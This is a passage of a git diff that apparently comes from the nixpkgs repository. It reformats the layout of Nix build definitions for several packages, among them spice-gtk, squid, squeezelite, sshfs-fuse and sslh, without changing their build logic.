-    ++ lib.optionals (!enableMysql) [
-      "--without-mysql"
-    ];
+  configureFlags = [
+    "--program-prefix=sphinxsearch-"
+    "--enable-id64"
+  ]
+  ++ lib.optionals (!enableMysql) [
+    "--without-mysql"
+  ];
 
   nativeBuildInputs = [
     pkg-config
diff --git a/pkgs/by-name/sp/spice-gtk/package.nix b/pkgs/by-name/sp/spice-gtk/package.nix
index 5dc9fa557a6b..c1b17dc0ee05 100644
--- a/pkgs/by-name/sp/spice-gtk/package.nix
+++ b/pkgs/by-name/sp/spice-gtk/package.nix
@@ -82,97 +82,93 @@ stdenv.mkDerivation rec {
     pkg-config
   ];
 
-  nativeBuildInputs =
-    [
-      docbook_xsl
-      gettext
-      gobject-introspection
-      gtk-doc
-      meson
-      ninja
-      perl
-      pkg-config
-      python3
-      python3.pkgs.pyparsing
-      python3.pkgs.six
-      vala
-      wrapGAppsHook3
-    ]
-    ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [
-      mesonEmulatorHook
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      wayland-scanner
-    ];
+  nativeBuildInputs = [
+    docbook_xsl
+    gettext
+    gobject-introspection
+    gtk-doc
+    meson
+    ninja
+    perl
+    pkg-config
+    python3
+    python3.pkgs.pyparsing
+    python3.pkgs.six
+    vala
+    wrapGAppsHook3
+  ]
+  ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [
+    mesonEmulatorHook
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    wayland-scanner
+  ];
 
-  buildInputs =
-    [
-      gst_all_1.gst-plugins-base
-      gst_all_1.gst-plugins-good
-      cyrus_sasl
-      libepoxy
-      gtk3
-      json-glib
-      libcacard
-      libjpeg_turbo
-      libopus
-      libsoup_3
-      libusb1
-      lz4
-      openssl
-      phodav
-      pixman
-      spice-protocol
-      usbredir
-      vala
-      zlib
-    ]
-    ++ lib.optionals withPolkit [
-      polkit
-      acl
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libcap_ng
-      libdrm
-      wayland-protocols
-    ];
+  buildInputs = [
+    gst_all_1.gst-plugins-base
+    gst_all_1.gst-plugins-good
+    cyrus_sasl
+    libepoxy
+    gtk3
+    json-glib
+    libcacard
+    libjpeg_turbo
+    libopus
+    libsoup_3
+    libusb1
+    lz4
+    openssl
+    phodav
+    pixman
+    spice-protocol
+    usbredir
+    vala
+    zlib
+  ]
+  ++ lib.optionals withPolkit [
+    polkit
+    acl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libcap_ng
+    libdrm
+    wayland-protocols
+  ];
 
   PKG_CONFIG_POLKIT_GOBJECT_1_POLICYDIR = "${placeholder "out"}/share/polkit-1/actions";
 
-  mesonFlags =
-    [
-      "-Dusb-acl-helper-dir=${placeholder "out"}/bin"
-      "-Dusb-ids-path=${hwdata}/share/hwdata/usb.ids"
-    ]
-    ++ lib.optionals (!withPolkit) [
-      "-Dpolkit=disabled"
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isLinux) [
-      "-Dlibcap-ng=disabled"
-      "-Degl=disabled"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isMusl [
-      "-Dcoroutine=gthread" # Fixes "Function missing:makecontext"
-    ];
+  mesonFlags = [
+    "-Dusb-acl-helper-dir=${placeholder "out"}/bin"
+    "-Dusb-ids-path=${hwdata}/share/hwdata/usb.ids"
+  ]
+  ++ lib.optionals (!withPolkit) [
+    "-Dpolkit=disabled"
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isLinux) [
+    "-Dlibcap-ng=disabled"
+    "-Degl=disabled"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isMusl [
+    "-Dcoroutine=gthread" # Fixes "Function missing:makecontext"
+  ];
 
-  postPatch =
-    ''
-      # get rid of absolute path to helper in store so we can use a setuid wrapper
-      substituteInPlace src/usb-acl-helper.c \
-        --replace-fail 'ACL_HELPER_PATH"/' '"'
-      # don't try to setcap/suid in a nix builder
-      substituteInPlace src/meson.build \
-        --replace-fail "meson.add_install_script('../build-aux/setcap-or-suid'," \
-        "# meson.add_install_script('../build-aux/setcap-or-suid',"
+  postPatch = ''
+    # get rid of absolute path to helper in store so we can use a setuid wrapper
+    substituteInPlace src/usb-acl-helper.c \
+      --replace-fail 'ACL_HELPER_PATH"/' '"'
+    # don't try to setcap/suid in a nix builder
+    substituteInPlace src/meson.build \
+      --replace-fail "meson.add_install_script('../build-aux/setcap-or-suid'," \
+      "# meson.add_install_script('../build-aux/setcap-or-suid',"
 
-      patchShebangs subprojects/keycodemapdb/tools/keymap-gen
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      # don't use version script and don't export symbols
-      substituteInPlace src/meson.build \
-        --replace-fail "spice_gtk_version_script = [" "# spice_gtk_version_script = [" \
-        --replace-fail ",--version-script=@0@'.format(spice_client_glib_syms_path)" "'"
-    '';
+    patchShebangs subprojects/keycodemapdb/tools/keymap-gen
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    # don't use version script and don't export symbols
+    substituteInPlace src/meson.build \
+      --replace-fail "spice_gtk_version_script = [" "# spice_gtk_version_script = [" \
+      --replace-fail ",--version-script=@0@'.format(spice_client_glib_syms_path)" "'"
+  '';
 
   meta = with lib; {
     description = "GTK 3 SPICE widget";
diff --git a/pkgs/by-name/sp/spice/package.nix b/pkgs/by-name/sp/spice/package.nix
index f70b1c85b0c3..0d9c3f1b8450 100644
--- a/pkgs/by-name/sp/spice/package.nix
+++ b/pkgs/by-name/sp/spice/package.nix
@@ -50,33 +50,32 @@ stdenv.mkDerivation rec {
     python3.pkgs.pyparsing
   ];
 
-  buildInputs =
-    [
-      cyrus_sasl
-      glib
-      gst_all_1.gst-plugins-base
-      libXext
-      libXfixes
-      libXinerama
-      libXrandr
-      libXrender
-      libcacard
-      libjpeg
-      libopus
-      lz4
-      openssl
-      orc
-      pixman
-      python3.pkgs.pyparsing
-      spice-protocol
-      zlib
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      alsa-lib
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      gdk-pixbuf
-    ];
+  buildInputs = [
+    cyrus_sasl
+    glib
+    gst_all_1.gst-plugins-base
+    libXext
+    libXfixes
+    libXinerama
+    libXrandr
+    libXrender
+    libcacard
+    libjpeg
+    libopus
+    lz4
+    openssl
+    orc
+    pixman
+    python3.pkgs.pyparsing
+    spice-protocol
+    zlib
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    alsa-lib
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    gdk-pixbuf
+  ];
 
   env.NIX_CFLAGS_COMPILE = "-fno-stack-protector";
 
diff --git a/pkgs/by-name/sp/spider/package.nix b/pkgs/by-name/sp/spider/package.nix
index 9415aff683da..d39f447e712f 100644
--- a/pkgs/by-name/sp/spider/package.nix
+++ b/pkgs/by-name/sp/spider/package.nix
@@ -43,28 +43,27 @@ rustPlatform.buildRustPackage (finalAttrs: {
     ZSTD_SYS_USE_PKG_CONFIG = true;
   };
 
-  checkFlags =
-    [
-      # Sandbox limitation: no network or io_uring
-      "--skip=website::crawl"
-      "--skip=website::scrape"
-      "--skip=website::test_crawl_subdomains"
-      "--skip=website::test_crawl_tld"
-      "--skip=website::test_respect_robots_txt"
-      "--skip=page::parse_links"
-      "--skip=page::test_status_code"
-      "--skip=pdl_is_fresh"
-      "--skip=verify_revision_available"
-    ]
-    ++ lib.optionals stdenv.isDarwin [
-      # Sandbox limitation: attempted to create a NULL object
-      "--skip=website::test_link_duplicates"
-      "--skip=website::not_crawl_blacklist"
-      "--skip=website::test_crawl_budget"
-      "--skip=website::test_crawl_subscription"
-      "--skip=website::Website::subscribe_guard"
-      "--skip=website::Website::subscribe"
-    ];
+  checkFlags = [
+    # Sandbox limitation: no network or io_uring
+    "--skip=website::crawl"
+    "--skip=website::scrape"
+    "--skip=website::test_crawl_subdomains"
+    "--skip=website::test_crawl_tld"
+    "--skip=website::test_respect_robots_txt"
+    "--skip=page::parse_links"
+    "--skip=page::test_status_code"
+    "--skip=pdl_is_fresh"
+    "--skip=verify_revision_available"
+  ]
+  ++ lib.optionals stdenv.isDarwin [
+    # Sandbox limitation: attempted to create a NULL object
+    "--skip=website::test_link_duplicates"
+    "--skip=website::not_crawl_blacklist"
+    "--skip=website::test_crawl_budget"
+    "--skip=website::test_crawl_subscription"
+    "--skip=website::Website::subscribe_guard"
+    "--skip=website::Website::subscribe"
+  ];
 
   doInstallCheck = true;
   nativeInstallCheckInputs = [ versionCheckHook ];
diff --git a/pkgs/by-name/sp/spirv-llvm-translator/package.nix b/pkgs/by-name/sp/spirv-llvm-translator/package.nix
index 665e8f8f0cdc..0e6dc28ada4c 100644
--- a/pkgs/by-name/sp/spirv-llvm-translator/package.nix
+++ b/pkgs/by-name/sp/spirv-llvm-translator/package.nix
@@ -109,26 +109,27 @@ stdenv.mkDerivation {
   nativeBuildInputs = [
     pkg-config
     cmake
-  ] ++ (if isROCm then [ llvm ] else [ llvm.dev ]);
+  ]
+  ++ (if isROCm then [ llvm ] else [ llvm.dev ]);
 
   buildInputs = [
     spirv-headers
     spirv-tools
-  ] ++ lib.optionals (!isROCm) [ llvm ];
+  ]
+  ++ lib.optionals (!isROCm) [ llvm ];
 
   nativeCheckInputs = [ lit ];
 
-  cmakeFlags =
-    [
-      "-DLLVM_INCLUDE_TESTS=ON"
-      "-DLLVM_DIR=${(if isROCm then llvm else llvm.dev)}"
-      "-DBUILD_SHARED_LIBS=YES"
-      "-DLLVM_SPIRV_BUILD_EXTERNAL=YES"
-      # RPATH of binary /nix/store/.../bin/llvm-spirv contains a forbidden reference to /build/
-      "-DCMAKE_SKIP_BUILD_RPATH=ON"
-    ]
-    ++ lib.optional (llvmMajor != "11") "-DLLVM_EXTERNAL_SPIRV_HEADERS_SOURCE_DIR=${spirv-headers.src}"
-    ++ lib.optional (llvmMajor == "19") "-DBASE_LLVM_VERSION=${lib.versions.majorMinor llvm.version}.0";
+  cmakeFlags = [
+    "-DLLVM_INCLUDE_TESTS=ON"
+    "-DLLVM_DIR=${(if isROCm then llvm else llvm.dev)}"
+    "-DBUILD_SHARED_LIBS=YES"
+    "-DLLVM_SPIRV_BUILD_EXTERNAL=YES"
+    # RPATH of binary /nix/store/.../bin/llvm-spirv contains a forbidden reference to /build/
+    "-DCMAKE_SKIP_BUILD_RPATH=ON"
+  ]
+  ++ lib.optional (llvmMajor != "11") "-DLLVM_EXTERNAL_SPIRV_HEADERS_SOURCE_DIR=${spirv-headers.src}"
+  ++ lib.optional (llvmMajor == "19") "-DBASE_LLVM_VERSION=${lib.versions.majorMinor llvm.version}.0";
 
   # FIXME: CMake tries to run "/llvm-lit" which of course doesn't exist
   doCheck = false;
@@ -138,14 +139,13 @@ stdenv.mkDerivation {
     "llvm-spirv"
   ];
 
-  postInstall =
-    ''
-      install -D tools/llvm-spirv/llvm-spirv $out/bin/llvm-spirv
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      install_name_tool $out/bin/llvm-spirv \
-        -change @rpath/libLLVMSPIRVLib.dylib $out/lib/libLLVMSPIRVLib.dylib
-    '';
+  postInstall = ''
+    install -D tools/llvm-spirv/llvm-spirv $out/bin/llvm-spirv
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    install_name_tool $out/bin/llvm-spirv \
+      -change @rpath/libLLVMSPIRVLib.dylib $out/lib/libLLVMSPIRVLib.dylib
+  '';
 
   meta = with lib; {
     homepage = "https://github.com/KhronosGroup/SPIRV-LLVM-Translator";
diff --git a/pkgs/by-name/sp/spla/package.nix b/pkgs/by-name/sp/spla/package.nix
index ee203b200913..936ba7aff806 100644
--- a/pkgs/by-name/sp/spla/package.nix
+++ b/pkgs/by-name/sp/spla/package.nix
@@ -52,29 +52,27 @@ stdenv.mkDerivation rec {
     gfortran
   ];
 
-  buildInputs =
-    [
-      blas
-      mpi
-    ]
-    ++ lib.optional (gpuBackend == "cuda") cudaPackages.cudatoolkit
-    ++ lib.optionals (gpuBackend == "rocm") [
-      rocmPackages.clr
-      rocmPackages.rocblas
-    ]
-    ++ lib.optional stdenv.hostPlatform.isDarwin llvmPackages.openmp;
+  buildInputs = [
+    blas
+    mpi
+  ]
+  ++ lib.optional (gpuBackend == "cuda") cudaPackages.cudatoolkit
+  ++ lib.optionals (gpuBackend == "rocm") [
+    rocmPackages.clr
+    rocmPackages.rocblas
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin llvmPackages.openmp;
 
-  cmakeFlags =
-    [
-      "-DSPLA_OMP=ON"
-      "-DSPLA_FORTRAN=ON"
-      "-DSPLA_INSTALL=ON"
-      # Required due to broken CMake files
-      "-DCMAKE_INSTALL_LIBDIR=lib"
-      "-DCMAKE_INSTALL_INCLUDEDIR=include"
-    ]
-    ++ lib.optional (gpuBackend == "cuda") "-DSPLA_GPU_BACKEND=CUDA"
-    ++ lib.optional (gpuBackend == "rocm") [ "-DSPLA_GPU_BACKEND=ROCM" ];
+  cmakeFlags = [
+    "-DSPLA_OMP=ON"
+    "-DSPLA_FORTRAN=ON"
+    "-DSPLA_INSTALL=ON"
+    # Required due to broken CMake files
+    "-DCMAKE_INSTALL_LIBDIR=lib"
+    "-DCMAKE_INSTALL_INCLUDEDIR=include"
+  ]
+  ++ lib.optional (gpuBackend == "cuda") "-DSPLA_GPU_BACKEND=CUDA"
+  ++ lib.optional (gpuBackend == "rocm") [ "-DSPLA_GPU_BACKEND=ROCM" ];
 
   preFixup = ''
     substituteInPlace $out/lib/cmake/SPLA/SPLASharedTargets-release.cmake \
diff --git a/pkgs/by-name/sp/spotify-player/package.nix b/pkgs/by-name/sp/spotify-player/package.nix
index 70f9abdc99ea..0153479216cd 100644
--- a/pkgs/by-name/sp/spotify-player/package.nix
+++ b/pkgs/by-name/sp/spotify-player/package.nix
@@ -58,39 +58,37 @@ rustPlatform.buildRustPackage rec {
   useFetchCargoVendor = true;
   cargoHash = "sha256-glQh6PzwJp5o35aXRW4+Pq2iSeGg9vjR5fJQomPpSOc=";
 
-  nativeBuildInputs =
-    [
-      pkg-config
-      cmake
-      rustPlatform.bindgenHook
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      makeBinaryWrapper
-    ];
+  nativeBuildInputs = [
+    pkg-config
+    cmake
+    rustPlatform.bindgenHook
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    makeBinaryWrapper
+  ];
 
-  buildInputs =
-    [
-      openssl
-      dbus
-      fontconfig
-    ]
-    ++ lib.optionals withSixel [ libsixel ]
-    ++ lib.optionals (withAudioBackend == "alsa") [ alsa-lib ]
-    ++ lib.optionals (withAudioBackend == "pulseaudio") [ libpulseaudio ]
-    ++ lib.optionals (withAudioBackend == "rodio" && stdenv.hostPlatform.isLinux) [ alsa-lib ]
-    ++ lib.optionals (withAudioBackend == "portaudio") [ portaudio ]
-    ++ lib.optionals (withAudioBackend == "jackaudio") [ libjack2 ]
-    ++ lib.optionals (withAudioBackend == "rodiojack") [
-      alsa-lib
-      libjack2
-    ]
-    ++ lib.optionals (withAudioBackend == "sdl") [ SDL2 ]
-    ++ lib.optionals (withAudioBackend == "gstreamer") [
-      gst_all_1.gstreamer
-      gst_all_1.gst-devtools
-      gst_all_1.gst-plugins-base
-      gst_all_1.gst-plugins-good
-    ];
+  buildInputs = [
+    openssl
+    dbus
+    fontconfig
+  ]
+  ++ lib.optionals withSixel [ libsixel ]
+  ++ lib.optionals (withAudioBackend == "alsa") [ alsa-lib ]
+  ++ lib.optionals (withAudioBackend == "pulseaudio") [ libpulseaudio ]
+  ++ lib.optionals (withAudioBackend == "rodio" && stdenv.hostPlatform.isLinux) [ alsa-lib ]
+  ++ lib.optionals (withAudioBackend == "portaudio") [ portaudio ]
+  ++ lib.optionals (withAudioBackend == "jackaudio") [ libjack2 ]
+  ++ lib.optionals (withAudioBackend == "rodiojack") [
+    alsa-lib
+    libjack2
+  ]
+  ++ lib.optionals (withAudioBackend == "sdl") [ SDL2 ]
+  ++ lib.optionals (withAudioBackend == "gstreamer") [
+    gst_all_1.gstreamer
+    gst_all_1.gst-devtools
+    gst_all_1.gst-plugins-base
+    gst_all_1.gst-plugins-good
+  ];
 
   buildNoDefaultFeatures = true;
 
diff --git a/pkgs/by-name/sp/spral/package.nix b/pkgs/by-name/sp/spral/package.nix
index e8376d81e716..b7affa32bccc 100644
--- a/pkgs/by-name/sp/spral/package.nix
+++ b/pkgs/by-name/sp/spral/package.nix
@@ -22,20 +22,19 @@ stdenv.mkDerivation rec {
     hash = "sha256-tuhJClSjah/ud6PVr6biOq5KdKtspJ7hpWZ350yzz+U=";
   };
 
-  postPatch =
-    ''
-      # Skipped test: ssidst
-      # hwloc/linux: failed to find sysfs cpu topology directory, aborting linux discovery.
-      substituteInPlace tests/meson.build --replace-fail \
-        "subdir('ssids')" \
-        ""
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      # Skipped test: lsmrt, segfault
-      substituteInPlace tests/meson.build --replace-fail \
-        "['lsmrt', files('lsmr.f90')]," \
-        ""
-    '';
+  postPatch = ''
+    # Skipped test: ssidst
+    # hwloc/linux: failed to find sysfs cpu topology directory, aborting linux discovery.
+    substituteInPlace tests/meson.build --replace-fail \
+      "subdir('ssids')" \
+      ""
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    # Skipped test: lsmrt, segfault
+    substituteInPlace tests/meson.build --replace-fail \
+      "['lsmrt', files('lsmr.f90')]," \
+      ""
+  '';
 
   nativeBuildInputs = [
     gfortran
@@ -47,7 +46,8 @@ stdenv.mkDerivation rec {
     blas
     lapack
     metis
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ llvmPackages.openmp ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ llvmPackages.openmp ];
 
   mesonFlags = [ (lib.mesonBool "tests" true) ];
 
diff --git a/pkgs/by-name/sq/sqlite-vss/package.nix b/pkgs/by-name/sq/sqlite-vss/package.nix
index c9b71996aceb..7c466c1af7d9 100644
--- a/pkgs/by-name/sq/sqlite-vss/package.nix
+++ b/pkgs/by-name/sq/sqlite-vss/package.nix
@@ -25,14 +25,13 @@ stdenv.mkDerivation (finalAttrs: {
 
   nativeBuildInputs = [ cmake ];
 
-  buildInputs =
-    [
-      nlohmann_json
-      faiss
-      sqlite
-    ]
-    ++ lib.optional stdenv.hostPlatform.isLinux gomp
-    ++ lib.optional stdenv.hostPlatform.isDarwin llvmPackages.openmp;
+  buildInputs = [
+    nlohmann_json
+    faiss
+    sqlite
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux gomp
+  ++ lib.optional stdenv.hostPlatform.isDarwin llvmPackages.openmp;
 
   SQLITE_VSS_CMAKE_VERSION = finalAttrs.version;
 
diff --git a/pkgs/by-name/sq/sqlitestudio/package.nix b/pkgs/by-name/sq/sqlitestudio/package.nix
index 9972a052e431..7e04dd5c0939 100644
--- a/pkgs/by-name/sq/sqlitestudio/package.nix
+++ b/pkgs/by-name/sq/sqlitestudio/package.nix
@@ -20,26 +20,26 @@ stdenv.mkDerivation rec {
     hash = "sha256-nGu1MYI3uaQ/3rc5LlixF6YEUU+pUsB6rn/yjFDGYf0=";
   };
 
-  nativeBuildInputs =
-    [ copyDesktopItems ]
-    ++ (with libsForQt5.qt5; [
-      qmake
-      qttools
-      wrapQtAppsHook
-    ]);
+  nativeBuildInputs = [
+    copyDesktopItems
+  ]
+  ++ (with libsForQt5.qt5; [
+    qmake
+    qttools
+    wrapQtAppsHook
+  ]);
 
-  buildInputs =
-    [
-      readline
-      tcl
-      python3
-    ]
-    ++ (with libsForQt5.qt5; [
-      qtbase
-      qtsvg
-      qtdeclarative
-      qtscript
-    ]);
+  buildInputs = [
+    readline
+    tcl
+    python3
+  ]
+  ++ (with libsForQt5.qt5; [
+    qtbase
+    qtsvg
+    qtdeclarative
+    qtscript
+  ]);
 
   qmakeFlags = [ "./SQLiteStudio3" ];
 
diff --git a/pkgs/by-name/sq/sqsh/package.nix b/pkgs/by-name/sq/sqsh/package.nix
index 42c2cf884ee5..564d554cbed5 100644
--- a/pkgs/by-name/sq/sqsh/package.nix
+++ b/pkgs/by-name/sq/sqsh/package.nix
@@ -21,13 +21,12 @@ stdenv.mkDerivation rec {
     sha256 = "1wi0hdmhk7l8nrz4j3kaa177mmxyklmzhj7sq1gj4q6fb8v1yr6n";
   };
 
-  preConfigure =
-    ''
-      export SYBASE=${freetds}
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      substituteInPlace configure --replace "libct.so" "libct.dylib"
-    '';
+  preConfigure = ''
+    export SYBASE=${freetds}
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    substituteInPlace configure --replace "libct.so" "libct.dylib"
+  '';
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/sq/squashfsTools/package.nix b/pkgs/by-name/sq/squashfsTools/package.nix
index 8629b8f53943..870d0ad79d29 100644
--- a/pkgs/by-name/sq/squashfsTools/package.nix
+++ b/pkgs/by-name/sq/squashfsTools/package.nix
@@ -30,10 +30,11 @@ stdenv.mkDerivation rec {
   ];
 
   strictDeps = true;
-  nativeBuildInputs =
-    [ which ]
-    # when cross-compiling help2man cannot run the cross-compiled binary
-    ++ lib.optionals (stdenv.hostPlatform == stdenv.buildPlatform) [ help2man ];
+  nativeBuildInputs = [
+    which
+  ]
+  # when cross-compiling help2man cannot run the cross-compiled binary
+  ++ lib.optionals (stdenv.hostPlatform == stdenv.buildPlatform) [ help2man ];
   buildInputs = [
     zlib
     xz
diff --git a/pkgs/by-name/sq/squeezelite/package.nix b/pkgs/by-name/sq/squeezelite/package.nix
index 426e054b4752..a9288cabcaf7 100644
--- a/pkgs/by-name/sq/squeezelite/package.nix
+++ b/pkgs/by-name/sq/squeezelite/package.nix
@@ -48,23 +48,22 @@ stdenv.mkDerivation {
     hash = "sha256-R3yCJJMsrD3dkrfkm4q69YkqfjBdZTiB9UXIriyPawA=";
   };
 
-  buildInputs =
-    [
-      flac
-      libmad
-      libvorbis
-      mpg123
-    ]
-    ++ optional pulseSupport libpulseaudio
-    ++ optional alsaSupport alsa-lib
-    ++ optional portaudioSupport portaudio
+  buildInputs = [
+    flac
+    libmad
+    libvorbis
+    mpg123
+  ]
+  ++ optional pulseSupport libpulseaudio
+  ++ optional alsaSupport alsa-lib
+  ++ optional portaudioSupport portaudio
 
-    ++ optional faad2Support faad2
-    ++ optional ffmpegSupport ffmpeg
-    ++ optional opusSupport opusfile
-    ++ optional resampleSupport soxr
-    ++ optional sslSupport openssl
-    ++ optional (stdenv.hostPlatform.isAarch32 or stdenv.hostPlatform.isAarch64) libgpiod;
+  ++ optional faad2Support faad2
+  ++ optional ffmpegSupport ffmpeg
+  ++ optional opusSupport opusfile
+  ++ optional resampleSupport soxr
+  ++ optional sslSupport openssl
+  ++ optional (stdenv.hostPlatform.isAarch32 or stdenv.hostPlatform.isAarch64) libgpiod;
 
   enableParallelBuilding = true;
 
@@ -75,20 +74,19 @@ stdenv.mkDerivation {
 
   EXECUTABLE = binName;
 
-  OPTS =
-    [
-      "-DLINKALL"
-      "-DGPIO"
-    ]
-    ++ optional dsdSupport "-DDSD"
-    ++ optional (!faad2Support) "-DNO_FAAD"
-    ++ optional ffmpegSupport "-DFFMPEG"
-    ++ optional opusSupport "-DOPUS"
-    ++ optional portaudioSupport "-DPORTAUDIO"
-    ++ optional pulseSupport "-DPULSEAUDIO"
-    ++ optional resampleSupport "-DRESAMPLE"
-    ++ optional sslSupport "-DUSE_SSL"
-    ++ optional (stdenv.hostPlatform.isAarch32 or stdenv.hostPlatform.isAarch64) "-DRPI";
+  OPTS = [
+    "-DLINKALL"
+    "-DGPIO"
+  ]
+  ++ optional dsdSupport "-DDSD"
+  ++ optional (!faad2Support) "-DNO_FAAD"
+  ++ optional ffmpegSupport "-DFFMPEG"
+  ++ optional opusSupport "-DOPUS"
+  ++ optional portaudioSupport "-DPORTAUDIO"
+  ++ optional pulseSupport "-DPULSEAUDIO"
+  ++ optional resampleSupport "-DRESAMPLE"
+  ++ optional sslSupport "-DUSE_SSL"
+  ++ optional (stdenv.hostPlatform.isAarch32 or stdenv.hostPlatform.isAarch64) "-DRPI";
 
   env = lib.optionalAttrs stdenv.hostPlatform.isDarwin { LDADD = "-lportaudio -lpthread"; };
 
diff --git a/pkgs/by-name/sq/squid/package.nix b/pkgs/by-name/sq/squid/package.nix
index 2ceb16f34194..e7d3c325e1ac 100644
--- a/pkgs/by-name/sq/squid/package.nix
+++ b/pkgs/by-name/sq/squid/package.nix
@@ -30,40 +30,38 @@ stdenv.mkDerivation (finalAttrs: {
   };
 
   nativeBuildInputs = [ pkg-config ];
-  buildInputs =
-    [
-      perl
-      openldap
-      db
-      cyrus_sasl
-      expat
-      libxml2
-      openssl
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libcap
-      pam
-      systemd
-    ];
+  buildInputs = [
+    perl
+    openldap
+    db
+    cyrus_sasl
+    expat
+    libxml2
+    openssl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libcap
+    pam
+    systemd
+  ];
 
   enableParallelBuilding = true;
 
-  configureFlags =
-    [
-      "--disable-strict-error-checking"
-      "--disable-arch-native"
-      "--with-openssl"
-      "--enable-ssl-crtd"
-      "--enable-storeio=ufs,aufs,diskd,rock"
-      "--enable-removal-policies=lru,heap"
-      "--enable-delay-pools"
-      "--enable-x-accelerator-vary"
-      "--enable-htcp"
-    ]
-    ++ (if ipv6 then [ "--enable-ipv6" ] else [ "--disable-ipv6" ])
-    ++ lib.optional (
-      stdenv.hostPlatform.isLinux && !stdenv.hostPlatform.isMusl
-    ) "--enable-linux-netfilter";
+  configureFlags = [
+    "--disable-strict-error-checking"
+    "--disable-arch-native"
+    "--with-openssl"
+    "--enable-ssl-crtd"
+    "--enable-storeio=ufs,aufs,diskd,rock"
+    "--enable-removal-policies=lru,heap"
+    "--enable-delay-pools"
+    "--enable-x-accelerator-vary"
+    "--enable-htcp"
+  ]
+  ++ (if ipv6 then [ "--enable-ipv6" ] else [ "--disable-ipv6" ])
+  ++ lib.optional (
+    stdenv.hostPlatform.isLinux && !stdenv.hostPlatform.isMusl
+  ) "--enable-linux-netfilter";
 
   doCheck = true;
   nativeCheckInputs = [ cppunit ];
diff --git a/pkgs/by-name/sr/srt/package.nix b/pkgs/by-name/sr/srt/package.nix
index 6dfb61849ad6..d703a325da27 100644
--- a/pkgs/by-name/sr/srt/package.nix
+++ b/pkgs/by-name/sr/srt/package.nix
@@ -20,13 +20,12 @@ stdenv.mkDerivation rec {
 
   nativeBuildInputs = [ cmake ];
 
-  buildInputs =
-    [
-      openssl
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isMinGW [
-      windows.mingw_w64_pthreads
-    ];
+  buildInputs = [
+    openssl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isMinGW [
+    windows.mingw_w64_pthreads
+  ];
 
   patches = lib.optionals stdenv.hostPlatform.isMinGW [
     ./no-msvc-compat-headers.patch
diff --git a/pkgs/by-name/ss/ssh-mitm/package.nix b/pkgs/by-name/ss/ssh-mitm/package.nix
index 49185aa82bee..e5ac2d3dd50e 100644
--- a/pkgs/by-name/ss/ssh-mitm/package.nix
+++ b/pkgs/by-name/ss/ssh-mitm/package.nix
@@ -54,7 +54,8 @@ buildPythonApplication rec {
     setuptools
     sshpubkeys
     wrapt
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ setuptools ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ setuptools ];
   # fix for darwin users
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/ss/sshfs-fuse/common.nix b/pkgs/by-name/ss/sshfs-fuse/common.nix
index ba1a0fd975a5..5010c1f834fc 100644
--- a/pkgs/by-name/ss/sshfs-fuse/common.nix
+++ b/pkgs/by-name/ss/sshfs-fuse/common.nix
@@ -58,14 +58,13 @@ stdenv.mkDerivation rec {
     stdenv.hostPlatform.system == "i686-linux"
   ) "-D_FILE_OFFSET_BITS=64";
 
-  postInstall =
-    ''
-      mkdir -p $out/sbin
-      ln -sf $out/bin/sshfs $out/sbin/mount.sshfs
-    ''
-    + lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
-      wrapProgram $out/bin/sshfs --prefix PATH : "${openssh}/bin"
-    '';
+  postInstall = ''
+    mkdir -p $out/sbin
+    ln -sf $out/bin/sshfs $out/sbin/mount.sshfs
+  ''
+  + lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
+    wrapProgram $out/bin/sshfs --prefix PATH : "${openssh}/bin"
+  '';
 
   # doCheck = true;
   checkPhase = lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
diff --git a/pkgs/by-name/ss/sslh/package.nix b/pkgs/by-name/ss/sslh/package.nix
index 9ec5ecf2b212..451749ae8745 100644
--- a/pkgs/by-name/ss/sslh/package.nix
+++ b/pkgs/by-name/ss/sslh/package.nix
@@ -24,17 +24,16 @@ stdenv.mkDerivation rec {
 
   postPatch = "patchShebangs *.sh";
 
-  buildInputs =
-    [
-      libev
-      libconfig
-      perl
-      pcre2
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libcap
-      tcp_wrappers
-    ];
+  buildInputs = [
+    libev
+    libconfig
+    perl
+    pcre2
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libcap
+    tcp_wrappers
+  ];
 
